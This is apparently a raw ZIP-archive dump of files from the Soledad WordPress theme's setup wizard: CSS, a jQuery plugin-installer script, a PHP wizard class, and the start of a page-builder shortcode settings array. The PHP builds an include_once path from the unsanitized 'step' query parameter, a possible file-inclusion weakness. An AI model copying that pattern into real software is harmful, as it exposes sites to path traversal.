	font-size: 10px;
	background: #777;
	color: #fff;
	text-transform: uppercase;
	font-weight: bold;
}
.soledad-install-child-theme {
	display: inline-block;
	background: #000;
	color: #fff;
}
.soledad-install-child-theme:hover {
	color: #fff;
	opacity: 0.8;
}
.penci-demo-search-form  {
	margin: 0 0 30px;
}
.penci-demo-search-form input {
	width: 100%;
	padding: 5px 15px;
	font-size: 14px;
	text-align: center;
}PK     /w\oTpq%  q%  %  installations/assets/installations.jsnu [        (function ($) {
	"use strict";

	var addNotice = function (type, message) {
		$("body").append(
			'<div class="penci-notice penci-notice-' +
				type +
				'">' +
				message +
				"</div>"
		);
		setTimeout(() => {
			$(".penci-notice").fadeOut("slow", function () {
				$(this).remove();
			});
		}, 5000);
	};

	var hideNotice = function () {
		$(".penci-notice").remove();
	};

	function wizardInstallPlugins() {

		var checkPlugin = function ($link, callback) {
			setTimeout(function () {
				$.ajax({
					url: soledadInstallations.ajaxUrl,
					method: "POST",
					data: {
						action: "soledad_check_plugins",
						penci_plugin: $link.data("plugin"),
						security: soledadInstallations.check_plugins_nonce,
					},
					success: function (response) {
						if ("success" === response.status) {
							changeNextButtonStatus(
								response.data.required_plugins
							);
							changePageStatus(response.data.is_all_activated);
						} else {
							addNotice("warning", response.message);
							removeLinkClasses($link);
							hideNotice();
						}

						if (
							response?.data?.status === "deactivate" &&
							!$('.penci-install-plugins').hasClass('penci-install-all')
						) {
							reloadPage($link);
						}

						callback(response);
					},
				});
			}, 1000);
		};

		var activatePlugin = function ($link, callback) {
			$.ajax({
				url: penci_plugin_data[$link.data("plugin")][
					"activate_url"
				].replaceAll("&amp;", "&"),
				method: "GET",
				success: function () {
					checkPlugin($link, function (response) {
						if ("success" === response.status) {
							if ("activate" === response.data.status) {
								activatePlugin($link, callback);
							} else {
								removeLinkClasses($link);
								changeLinkAction(
									"activate",
									"deactivate",
									$link,
									response
								);
								changeLinkAction(
									"install",
									"deactivate",
									$link,
									response
								);
								changeLinkAction(
									"update",
									"deactivate",
									$link,
									response
								);
								callback();
							}
						}
					});
				},
			});
		};

		var deactivatePlugin = function ($link) {
			$.ajax({
				url: soledadInstallations.ajaxUrl,
				method: "POST",
				data: {
					action: "soledad_deactivate_plugin",
					penci_plugin: $link.data("plugin"),
					security: soledadInstallations.deactivate_plugin_nonce,
				},
				success: function (response) {
					if ("error" === response.status) {
						addNotice("warning", response.message);
						removeLinkClasses($link);
						hideNotice();
						return;
					}

					checkPlugin($link, function (response) {
						if ("success" === response.status) {
							if ("activate" === response.data.status) {
								removeLinkClasses($link);
								changeLinkAction(
									"deactivate",
									"activate",
									$link,
									response
								);
							} else {
								deactivatePlugin($link);
							}
						}
					});
				},
			});
		};

		function parsePlugins($link, callback) {
			$.ajax({
				url: $link.attr("href"),
				method: "POST",
				success: function () {
					setTimeout(function () {
						checkPlugin($link, function (response) {
							if ("success" === response.status) {
								if ("activate" === response.data.status) {
									activatePlugin($link, callback);
								} else {
									removeLinkClasses($link);
									changeLinkAction(
										"activate",
										"deactivate",
										$link,
										response
									);
									callback();
								}
							}
						});
					}, 1000);
				},
			});
		}

		function reloadPage($link) {
			if ($link.parents(".soledad-plugin-wrapper").length) {
				location.reload();
			}
		}

		function addLinkClasses($link) {
			$link
				.parents(".soledad-plugin-wrapper")
				.addClass("soledad-loading");
			$link
				.parents(".soledad-plugin-wrapper")
				.siblings()
				.addClass("penci-install-disabled");
			$(".soledad-wizard-footer").addClass("penci-install-disabled");

			$link.text(
				soledadInstallations[
					$link.data("action") + "_process_plugin_btn_text"
				]
			);
		}

		function removeLinkClasses($link) {
			$link
				.parents(".soledad-plugin-wrapper")
				.removeClass("soledad-loading");
			$link
				.parents(".soledad-plugin-wrapper")
				.siblings()
				.removeClass("penci-install-disabled");
			$(".soledad-wizard-footer").removeClass("penci-install-disabled");
		}

		function changeNextButtonStatus(status) {
			var $nextBtn = $(".soledad-next");
			if ("has_required" === status) {
				$nextBtn.addClass("penci-install-disabled");
			} else {
				$nextBtn.removeClass("penci-install-disabled");
			}
		}

		function changePageStatus(status) {
			var $page = $(".soledad-plugins");
			if ("yes" === status) {
				$page.addClass("penci-install-all-active");
			} else {
				$page.removeClass("penci-install-all-active");
			}
		}

		function changeLinkAction(actionBefore, actionAfter, $link, response) {
			if (response && response.data.version) {
				$link
					.parents(".soledad-plugin-wrapper")
					.find(".penci-install-plugin-version span")
					.text(response.data.version);
			}

			$link
				.removeClass("soledad-" + actionBefore)
				.addClass("soledad-" + actionAfter);
			$link.attr(
				"href",
				penci_plugin_data[$link.data("plugin")][
					actionAfter + "_url"
				].replaceAll("&amp;", "&")
			);
			$link.data("action", actionAfter);
			$link.text(soledadInstallations[actionAfter]);
		}

		$(document).on(
			"click",
			".soledad-ajax-plugin:not(.soledad-deactivate)",
			function (e) {
				e.preventDefault();

				var $link = $(this);
				addLinkClasses($link);
				parsePlugins($link, function () {});
			}
		);

		$(document).on(
			"click",
			".soledad-ajax-plugin.soledad-deactivate",
			function (e) {
				e.preventDefault();

				var $link = $(this);
				addLinkClasses($link);
				deactivatePlugin($link);
			}
		);

		$(document).on("click", ".soledad-wizard-all-plugins", function (e) {
			e.preventDefault();

			$('.penci-install-plugins').addClass('penci-install-all');

			var itemQueue = [];

			function activationAction() {
				if (itemQueue.length) {
					var $link = $(itemQueue.shift());

					if ($link.parents(".soledad-compatible-plugins").length) {
						return;
					}

					addLinkClasses($link);

					parsePlugins($link, function () {
						activationAction();
					});
				}
			}

			$(
				".soledad-plugin-wrapper .soledad-ajax-plugin:not(.soledad-deactivate)"
			).each(function () {
				itemQueue.push($(this));
			});

			activationAction();
		});
	}

	function wizardBuilderSelect() {
		$(".soledad-wizard-builder-select > div").on("click", function () {
			var $this = $(this);
			var builder = $(this).data("builder");

			$this.addClass("penci-install-active");
			$this.siblings().removeClass("penci-install-active");
			$(".soledad-btn.soledad-" + builder)
				.removeClass("penci-install-hidden")
				.addClass("penci-install-shown")
				.siblings(".soledad-next")
				.addClass("penci-install-hidden")
				.removeClass("penci-install-shown");
		});
	}

	function wizardInstallChildTheme() {
		$(".soledad-install-child-theme").on("click", function (e) {
			e.preventDefault();
			var $btn = $(this);

			$btn.addClass("soledad-loading");

			$.ajax({
				url: soledadInstallations.ajaxUrl,
				method: "POST",
				data: {
					action: "soledad_install_child_theme",
					security: soledadInstallations.install_child_theme_nonce,
				},
				dataType: "json",
				success: function (response) {
					$btn.removeClass("soledad-loading");

					if (response && "success" === response.status) {
						$(".soledad-wizard-child-theme").addClass(
							"penci-install-installed"
						);
						addNotice("success", "Successfully installed the child theme.");

						location.reload();
					} else if (
						response &&
						"dir_not_exists" === response.status
					) {
						addNotice(
							"error",
							"The directory can't be created on the server. Please, install the child theme manually or contact our support for help."
						);
					} else {
						addNotice(
							"error",
							"The child theme can't be installed. Skip this step and install the child theme manually via Appearance -> Themes."
						);
					}
				},
				error: function () {
					$btn.removeClass("soledad-loading");

					addNotice(
						"error",
						"The child theme can't be installed. Skip this step and install the child theme manually via Appearance -> Themes."
					);
				},
			});
		});
	}

	function wizardUninstallDemo() {
		$(".penci-wuninstall-demo").on("click", function (e) {
			e.preventDefault();

			var t = $(this),
				w = t.closest('.demo-selector');

			w.addClass("loading");

			var r = confirm("Are you sure?");
				if (r !== true) {
					return false;
				}

			$.get(
				soledadInstallations.ajaxUrl,
				{
					action: "penci_soledad_unintall_demo",
					type: "unintall_demo",
					_wpnonce: soledadInstallations.demononce,
				},
				function (response) {
					if (response.success) {
						addNotice("success", "Unintall Demo completed!");
						$(".soledad-wizard-content-inner").removeClass("loading");
						$(".demos-container").removeClass("has-imported");
						w.removeClass('demo-selector-installed loading');
					} else {
						addNotice("error", response.data);
					}
				}
			).fail(function () {
				addNotice("error", "Failed");
			});
		});
	}
	
	jQuery(document).ready(function () {
		wizardInstallPlugins();
		wizardBuilderSelect();
		wizardInstallChildTheme();
		wizardUninstallDemo();
	});
})(jQuery);PK     /w\^3>  >    installations/installations.phpnu [        <?php

class Soledad_Theme_Installations {

	/**
	 * Instance of this static object.
	 *
	 * @var array
	 */
	private static $instances = [];

	/**
	 * Get singleton instance.
	 *
	 * @return object Current object instance.
	 * @since 1.0.0
	 *
	 */
	public static function get_instance() {
		$subclass = static::class;
		if ( ! isset( self::$instances[ $subclass ] ) ) {
			self::$instances[ $subclass ] = new static();
			self::$instances[ $subclass ]->init();
		}

		return self::$instances[ $subclass ];
	}

	/**
	 * Prevent singleton class clone.
	 *
	 * @since 1.0.0
	 */
	private function __clone() {
	}

	/**
	 * Prevent singleton class initialization.
	 *
	 * @since 1.0.0
	 */
	private function __construct() {
	}

	/**
	 * Available pages.
	 *
	 * @var array
	 */
	public $available_pages = array();

	/**
	 * Constructor.
	 */
	public function init() {

		add_filter( 'tgmpa_load', array( $this, 'tgmpa_load' ), 10, 1 );
		add_action( 'wp_ajax_soledad_deactivate_plugin', array( $this, 'ajax_deactivate_plugin' ) );
		add_action( 'wp_ajax_soledad_check_plugins', array( $this, 'ajax_check_plugin' ) );
		add_action( 'wp_ajax_soledad_install_child_theme', array( $this, 'install_child_theme' ) );

		if ( isset( $_GET['skip_setup'] ) ) {
			update_option( 'soledad_setup_status', 'done', false );
		}

		if ( 'done' !== get_option( 'soledad_setup_status' ) ) { // phpcs:ignore
			add_action( 'admin_init', array( $this, 'prevent_plugins_redirect' ), 1 );
			do_action( 'soledad_setup_wizard' );
		}

		if ( defined( 'DOING_AJAX' ) || isset( $_GET['page'] ) && ( 'soledad_dashboard_welcome' === $_GET['page'] || 'tgmpa-install-plugins' === $_GET['page'] ) ) {
			add_action( 'admin_init', array( $this, 'prevent_plugins_redirect' ), 1 );
		}
		
		add_action( 'admin_enqueue_scripts', array( $this, 'register_scripts' ) );
	}

	/**
	 * Setup available pages.
	 *
	 * @return void
	 */
	public function set_available_pages() {
		$this->available_pages = array(
			'welcome'     => esc_html__( 'Welcome', 'soledad' ),
			'activation'  => esc_html__( 'Activation', 'soledad' ),
			'child-theme' => esc_html__( 'Child Theme', 'soledad' ),
			'plugins'     => esc_html__( 'Plugins', 'soledad' ),
			'demo'        => esc_html__( 'Install Demo', 'soledad' ),
			'done'        => esc_html__( 'Complete', 'soledad' ),
		);
	}

	public function register_scripts() {
		wp_register_script( 'penci-installations', PENCI_SOLEDAD_URL . '/inc/installations/assets/installations.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_style( 'penci-installations', PENCI_SOLEDAD_URL . '/inc/installations/assets/style.css', array(), PENCI_SOLEDAD_VERSION );

		$localize_script = array(
			'ajaxUrl'                   => admin_url( 'admin-ajax.php' ),
			'nonce'                     => wp_create_nonce( 'soledad_deactivate_plugin_nonce' ),
			'deactivate_plugin_nonce'   => wp_create_nonce( 'soledad_deactivate_plugin_nonce' ),
			'check_plugins_nonce'       => wp_create_nonce( 'soledad_check_plugins_nonce' ),
			'install_child_theme_nonce' => wp_create_nonce( 'soledad_install_child_theme_nonce' ),
			'demononce'                 => wp_create_nonce( 'penci_soledad_demo_import' ),
			'activate'                  => __( 'Activate', 'soledad' ),
			'deactivate'                => __( 'Deactivate', 'soledad' ),
			'done_url'                  => admin_url( 'admin.php?page=soledad_dashboard_welcome&tab=wizard&step=done' ),
		);

		wp_localize_script( 'penci-installations', 'soledadInstallations', $localize_script );
	}

	/**
	 * Prevent plugins redirect.
	 */
	public function prevent_plugins_redirect() {
		delete_transient( '_revslider_welcome_screen_activation_redirect' );
		delete_transient( '_vc_page_welcome_redirect' );
		delete_transient( 'elementor_activation_redirect' );
		add_filter( 'woocommerce_enable_setup_wizard', '__return_false' );
		remove_action( 'admin_menu', 'vc_menu_page_build' );
		remove_action( 'network_admin_menu', 'vc_network_menu_page_build' );
		remove_action( 'vc_activation_hook', 'vc_page_welcome_set_redirect' );
		remove_action( 'admin_init', 'vc_page_welcome_redirect' );
	}

	/**
	 * Template.
	 */
	public function setup_wizard_template() {
		if ( 'done' === get_option( 'soledad_setup_status' ) ) {
			return;
		}

		$this->set_available_pages();

		wp_enqueue_script( 'penci-installations' );
		wp_enqueue_style( 'penci-installations' );

		$page = 'welcome';

		if ( isset( $_GET['step'] ) && ! empty( $_GET['step'] ) ) { // phpcs:ignore
			$page = trim( wp_unslash( $_GET['step'] ) ); // phpcs:ignore
		}

		$this->show_page( $page );
	}

	/**
	 * Show page.
	 *
	 * @param string $name Template file name.
	 */
	public function show_page( $name ) {
		?>
        <div class="soledad-setup-wizard-wrap soledad-theme-style">
            <div class="soledad-setup-wizard soledad-<?php echo esc_attr( $name ); ?>">
                <div class="soledad-wizard-nav">
					<?php $this->show_part( 'sidebar' ); ?>
                </div>

                <div class="soledad-wizard-content">
					<?php $this->show_part( $name ); ?>
                </div>
            </div>
        </div>
		<?php
	}

	/**
	 * Get previous page button.
	 *
	 * @param string $page Page slug.
	 */
	public function get_prev_button( $page ) {
		?>
        <a class="soledad-inline-btn soledad-prev" href="<?php echo esc_url( $this->get_page_url( $page ) ); ?>">
			<?php esc_html_e( 'Previous step', 'soledad' ); ?>
        </a>
		<?php
	}

	/**
	 * Get previous page button.
	 *
	 * @param string $page Page slug.
	 * @param string $builder Builder name.
	 * @param boolean $disabled Is button disabled.
	 */
	public function get_next_button( $page, $builder = '', $disabled = false ) {
		$classes = '';
		$url     = $this->get_page_url( $page );

		if ( $builder ) {
			$url     .= '&soledad_builder=' . $builder;
			$classes .= ' soledad-' . $builder;
		}

		if ( 'elementor' === $builder ) {
			$classes .= ' soledad-shown';
		} elseif ( 'gutenberg' === $builder ) {
			$classes .= ' soledad-hidden';
		} elseif ( 'wpb' === $builder ) {
			$classes .= ' soledad-hidden';
		}

		if ( $disabled ) {
			$classes .= ' soledad-disabled';
		}

		?>
        <a class="soledad-btn soledad-color-primary soledad-next<?php echo esc_attr( $classes ); ?>"
           href="<?php echo esc_url( $url ); ?>">
			<?php esc_html_e( 'Next step', 'soledad' ); ?>
        </a>
		<?php
	}

	/**
	 * Get skip page button.
	 *
	 * @param string $page Page slug.
	 */
	public function get_skip_button( $page ) {
		?>
        <a class="soledad-inline-btn soledad-color-primary soledad-skip"
           href="<?php echo esc_url( $this->get_page_url( $page ) ); ?>">
			<?php esc_html_e( 'Skip', 'soledad' ); ?>
        </a>
		<?php
	}

	/**
	 * Show template part.
	 *
	 * @param string $name Template file name.
	 */
	public function show_part( $name ) {
		include_once get_parent_theme_file_path( '/inc/installations/templates/' . $name . '.php' );
	}

	/**
	 * Is active page.
	 *
	 * @param string $name Page name.
	 */
	public function is_active_page( $name ) {
		$page = 'welcome';

		if ( isset( $_GET['step'] ) && ! empty( $_GET['step'] ) ) { // phpcs:ignore
			$page = trim( wp_unslash( $_GET['step'] ) ); // phpcs:ignore
		}

		return $name === $page; // phpcs:ignore
	}

	/**
	 * Get page url.
	 *
	 * @param string $name Page name.
	 */
	public function get_page_url( $name ) {
		return admin_url( 'admin.php?page=soledad_dashboard_welcome&tab=wizard&step=' . $name ); // phpcs:ignore
	}

	/**
	 * Get image url.
	 *
	 * @param string $name Image name.
	 */
	public function get_image_url( $name ) {
		return PENCI_SOLEDAD_DIR . '/inc/installations/images/' . $name;
	}

	/**
	 * Is setup wizard.
	 *
	 * @return bool
	 */
	public function is_setup() {
		return isset( $_GET['tab'] ) && 'wizard' === $_GET['tab']; //phpcs:ignore
	}

	public function ajax_deactivate_plugin() {
		check_ajax_referer( 'soledad_deactivate_plugin_nonce', 'security' );

		$plugins = $this->get_plugins();

		if ( ! $plugins ) {
			wp_send_json(
				array(
					'message' => esc_html__( 'Plugins list is empty.', 'soledad' ),
					'status'  => 'error',
				)
			);
		}

		if ( ! current_user_can( 'manage_options' ) ) {
			wp_send_json(
				array(
					'message' => esc_html__( 'You not have access.', 'soledad' ),
					'status'  => 'error',
				)
			);
		}

		if ( is_multisite() && is_plugin_active_for_network( $plugins[ $_POST['penci_plugin'] ]['file_path'] ) ) { // phpcs:ignore
			wp_send_json(
				array(
					'message' => esc_html__( 'You cannot deactivate the plugin on a multisite.', 'soledad' ),
					'status'  => 'error',
				)
			);
		}

		if ( isset( $_POST['penci_plugin'] ) && is_plugin_active( $plugins[ $_POST['penci_plugin'] ]['file_path'] ) ) { // phpcs:ignore
			deactivate_plugins( $plugins[ $_POST['penci_plugin'] ]['file_path'] ); // phpcs:ignore
		}

		wp_send_json(
			array(
				'data'   => $plugins[ $_POST['penci_plugin'] ]['status'], // phpcs:ignore
				'status' => 'success',
			)
		);
	}

	public function get_plugins() {
		$tgmpa             = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );
		$tgmpa_plugins     = $tgmpa->plugins;
		$installed_plugins = get_plugins();

		$plugins = array();

		foreach ( $tgmpa_plugins as $slug => $plugin ) {
			$plugins[ $slug ]                   = $plugin;
			$plugins[ $slug ]['activate_url']   = $this->get_action_url( $slug, 'activate' );
			$plugins[ $slug ]['update_url']     = $this->get_action_url( $slug, 'update' );
			$plugins[ $slug ]['deactivate_url'] = '';

			if ( isset( $installed_plugins[ $plugin['file_path'] ]['Version'] ) ) {
				$plugins[ $slug ]['version'] = $installed_plugins[ $plugin['file_path'] ]['Version'];
			}

			if ( ! $tgmpa->is_plugin_installed( $slug ) ) {
				$plugins[ $slug ]['status'] = 'install';
			} else {
				if ( $tgmpa->does_plugin_have_update( $slug ) ) {
					$plugins[ $slug ]['status'] = 'update';
				} elseif ( $tgmpa->can_plugin_activate( $slug ) ) {
					$plugins[ $slug ]['status'] = 'activate';
				} elseif ( $tgmpa->does_plugin_require_update( $slug ) ) {
					$plugins[ $slug ]['status'] = 'require_update';
				} else {
					$plugins[ $slug ]['status'] = 'deactivate';
				}
			}
		}


		$order = array(
			'penci-shortcodes',
			'elementor',
			'penci-soledad-demo-importer',
			'woocommerce',
			'contact-form-7',
			'mailchimp-for-wp',
		);

		$filtered_plugins = array();
		foreach ( $order as $plugin_slug ) {
			if ( isset( $plugins[ $plugin_slug ] ) ) {
				$filtered_plugins[ $plugin_slug ] = $plugins[ $plugin_slug ];
			}
		}

		$plugins = $filtered_plugins;

		return $plugins;
	}

	/**
	 * Get required plugins to activate.
	 *
	 * @since 1.0.0
	 */
	public function get_required_plugins_to_activate() {
		$plugins = $this->get_plugins();
		$tgmpa   = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );
		$output  = array();

		foreach ( $plugins as $slug => $plugin ) {
			if ( ! $tgmpa->is_plugin_active( $slug ) && $plugin['required'] ) {
				$output[] = $plugin;
			}
		}

		return $output;
	}

	/**
	 * Is all plugins activated.
	 *
	 * @since 1.0.0
	 */
	public function is_all_activated() {
		$plugins = $this->get_plugins();
		$tgmpa   = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );
		$output  = array();

		foreach ( $plugins as $slug => $plugin ) {
			if ( ! $tgmpa->is_plugin_active( $slug ) && $tgmpa->can_plugin_activate( $slug ) ) {
				$output[] = $plugin;
			}
		}

		return count( $output ) === 0;
	}

	/**
	 * Get required plugins to activate.
	 *
	 * @param string $slug Slug.
	 * @param string $status Status.
	 *
	 * @return string
	 * @since 1.0.0
	 *
	 */
	public function get_action_url( $slug, $status ) {
		return wp_nonce_url(
			add_query_arg(
				array(
					'plugin'           => rawurlencode( $slug ),
					'tgmpa-' . $status => $status . '-plugin',
				),
				admin_url( 'themes.php?page=tgmpa-install-plugins' )
			),
			'tgmpa-' . $status,
			'tgmpa-nonce'
		);
	}

	/**
	 * Get required plugins to activate.
	 *
	 * @param string $status Status.
	 *
	 * @return string
	 * @since 1.0.0
	 *
	 */
	public function get_action_text( $status ) {
		$text = esc_html__( 'Deactivate', 'soledad' );

		if ( 'install' === $status ) {
			$text = esc_html__( 'Install', 'soledad' );
		} elseif ( 'update' === $status ) {
			$text = esc_html__( 'Update', 'soledad' );
		} elseif ( 'activate' === $status ) {
			$text = esc_html__( 'Activate', 'soledad' );
		}

		return $text;
	}

	public function ajax_check_plugin() {
		check_ajax_referer( 'soledad_check_plugins_nonce', 'security' );

		$plugins = $this->get_plugins();

		if ( ! $plugins ) {
			wp_send_json(
				array(
					'message' => esc_html__( 'Plugins list is empty.', 'soledad' ),
					'status'  => 'error',
				)
			);
		}

		if ( ! current_user_can( 'manage_options' ) ) {
			wp_send_json(
				array(
					'message' => esc_html__( 'You not have access.', 'soledad' ),
					'status'  => 'error',
				)
			);
		}

		wp_send_json(
			array(
				'data'   => array(
					'status'           => $plugins[ $_POST['penci_plugin'] ]['status'], // phpcs:ignore
					'version'          => $plugins[ $_POST['penci_plugin'] ]['version'], // phpcs:ignore
					'required_plugins' => count( $this->get_required_plugins_to_activate() ) > 0 ? 'has_required' : 'no',
					'is_all_activated' => $this->is_all_activated() ? 'yes' : 'no',
				),
				'status' => 'success',
			)
		);
	}

	public function install_child_theme() {
		check_ajax_referer( 'soledad_install_child_theme_nonce', 'security' );
		$parent_theme_name = 'soledad';
		$child_theme_name  = $parent_theme_name . '-child';
		$theme_root        = WP_CONTENT_DIR . '/themes';
		$child_theme_path  = $theme_root . '/' . $child_theme_name;

		$child_theme_zip = 'https://s3.amazonaws.com/soledad-plugins/soledad-child.zip';

		if ( ! file_exists( $child_theme_path ) ) {
			$dir = wp_mkdir_p( $child_theme_path );
			if ( ! $dir ) {
				echo wp_json_encode( array( 'status' => 'dir_not_exists' ) );
				die();
			}

			// Download the child theme zip file
			$response = wp_remote_get( $child_theme_zip, array( 'timeout' => 60 ) );
			if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
				echo wp_json_encode( array( 'status' => 'download_error' ) );
				die();
			}
			$zip_file = $theme_root . '/soledad-child.zip';
			$zip_data = wp_remote_retrieve_body( $response );
			if ( ! file_put_contents( $zip_file, $zip_data ) ) {
				echo wp_json_encode( array( 'status' => 'file_error' ) );
				die();
			}

			// Unzip the child theme
			$unzip_result = unzip_file( $zip_file, $theme_root );
			if ( is_wp_error( $unzip_result ) ) {
				echo wp_json_encode( array( 'status' => 'unzip_error' ) );
				die();
			}

			// Remove the zip file after unzipping
			unlink( $zip_file );
			// Activate the child theme

			$child_theme = wp_get_theme( $child_theme_name );
			if ( ! $child_theme->exists() ) {
				echo wp_json_encode( array( 'status' => 'theme_not_exists' ) );
				die();
			}

			// Switch to the child theme
			$parent_theme = wp_get_theme( $parent_theme_name );
			if ( ! $parent_theme->exists() ) {
				echo wp_json_encode( array( 'status' => 'parent_theme_not_exists' ) );
				die();
			}

			// Check if the child theme is already active
			if ( is_child_theme() && get_template() === $parent_theme_name ) {
				echo wp_json_encode( array( 'status' => 'already_active' ) );
				die();
			}

			// Update allowed themes for multisite
			if ( is_multisite() ) {
				$allowed_themes = get_site_option( 'allowedthemes' );
				if ( ! is_array( $allowed_themes ) ) {
					$allowed_themes = array();
				}
				$allowed_themes[ $child_theme_name ] = true;
				update_site_option( 'allowedthemes', $allowed_themes );
			}
		}

		if ( $parent_theme_name !== $child_theme_name ) {
			switch_theme( $child_theme_name );
			echo wp_json_encode( array( 'status' => 'success' ) );
			die();
		}
	}

	public function tgmpa_load() {
		return is_admin() || current_user_can( 'install_themes' );
	}
}

Soledad_Theme_Installations::get_instance();
PK     /w\*{FD  FD  ,  js_composer/shortcodes/info_box/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_line  = 'Line';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_info_box",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/info_box/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Info Box', 'soledad' ),
	'description'   => __( 'Info Box Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'gnr_setting_heading',
			'heading'          => esc_html__( 'General', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Sub Title', 'soledad' ),
			'param_name' => 'subtitle',
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Title', 'soledad' ),
			'param_name' => 'title_text',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Use line below the title', 'soledad' ),
			'param_name'  => '_use_line',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
		),
		array(
			'type'       => 'textarea',
			'heading'    => esc_html__( 'Content', 'soledad' ),
			'param_name' => 'description_text',
			'value'      => esc_html__( 'Insert your content here', 'soledad' )
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Icon position', 'soledad' ),
			'param_name' => 'icon_position',
			'value'      => array(
				esc_html__( 'Top left', 'soledad' )    => 'top-left',
				esc_html__( 'Top center', 'soledad' )  => 'top-center',
				esc_html__( 'Top right', 'soledad' )   => 'top-right',
				esc_html__( 'Float left', 'soledad' )  => 'float-left',
				esc_html__( 'Float right', 'soledad' ) => 'float-right'
			),
			'std'        => 'float-left',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'stitle_mar_top',
			'heading'          => __( 'Custom Margin Top for Sub Title', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'title_mar_top',
			'heading'          => __( 'Custom Margin Top for Title', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'title_mar_bottom',
			'heading'          => __( 'Custom Margin Bottom for Title', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'des_mar_top',
			'heading'    => __( 'Custom Margin Top for Description', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
		),

		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Icon type', 'soledad' ),
			'param_name' => 'icon_type',
			'value'      => array(
				esc_html__( 'Icon', 'soledad' )  => 'icon',
				esc_html__( 'Image', 'soledad' ) => 'image',
				esc_html__( 'Text', 'soledad' )  => 'text',
			),
			'group'      => 'Icon & Image'
		),
		array(
			'type'             => 'attach_image',
			'heading'          => esc_html__( 'Image', 'soledad' ),
			'param_name'       => 'image',
			'dependency'       => array( 'element' => 'icon_type', 'value' => 'image' ),
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => 'Icon & Image'
		),
		array(
			'type'             => 'attach_image',
			'heading'          => esc_html__( 'Image hover', 'soledad' ),
			'param_name'       => 'image_hover',
			'dependency'       => array( 'element' => 'icon_type', 'value' => 'image' ),
			'group'            => 'Icon & Image',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'        => 'iconpicker',
			'heading'     => __( 'Icon', 'soledad' ),
			'param_name'  => 'icon_fontawesome',
			'value'       => 'fa fa-adjust',
			'settings'    => array( 'emptyIcon' => false, 'iconsPerPage' => 100 ),
			'description' => __( 'Select icon from library.', 'soledad' ),
			'dependency'  => array( 'element' => 'icon_type', 'value' => 'icon' ),
			'group'       => 'Icon & Image'
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Icon Text', 'soledad' ),
			'value'      => esc_html__( '02', 'soledad' ),
			'dependency' => array( 'element' => 'icon_type', 'value' => 'text' ),
			'param_name' => 'icontext',
			'group'      => 'Icon & Image'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'View', 'soledad' ),
			'param_name'       => 'icon_view',
			'value'            => array(
				esc_html__( 'Default', 'soledad' ) => 'default',
				esc_html__( 'Stacked', 'soledad' ) => 'stacked',
				esc_html__( 'Framed', 'soledad' )  => 'framed',
			),
			'group'            => 'Icon & Image',
			'dependency'       => array( 'element' => 'icon_type', 'value' => array( 'icon', 'text' ) ),
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Shape', 'soledad' ),
			'param_name'       => 'icon_shape',
			'value'            => array(
				esc_html__( 'Circle', 'soledad' ) => 'circle',
				esc_html__( 'Square', 'soledad' ) => 'square'
			),
			'group'            => 'Icon & Image',
			'dependency'       => array( 'element' => 'icon_view', 'value_not_equal_to' => 'default' ),
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Hover Animation', 'soledad' ),
			'param_name' => 'icon_hover_animation',
			'value'      => array(
				esc_html__( 'None', 'soledad' )           => '',
				esc_html__( 'Grow', 'soledad' )           => 'grow',
				esc_html__( 'Shrink', 'soledad' )         => 'shrink',
				esc_html__( 'Pulse', 'soledad' )          => 'pulse',
				esc_html__( 'Pulse Grow', 'soledad' )     => 'pulse-grow',
				esc_html__( 'Pulse Shrink', 'soledad' )   => 'pulse-shrink',
				esc_html__( 'Push', 'soledad' )           => 'push',
				esc_html__( 'Pop', 'soledad' )            => 'pop',
				esc_html__( 'Custom Style 1', 'soledad' ) => 'custom-1',
				esc_html__( 'Custom Style 2', 'soledad' ) => 'custom-2',
				esc_html__( 'Custom Style 3', 'soledad' ) => 'custom-3',
				esc_html__( 'Custom Style 4', 'soledad' ) => 'custom-4',
				esc_html__( 'Custom Style 5', 'soledad' ) => 'custom-5'
			),
			'group'      => 'Icon & Image',
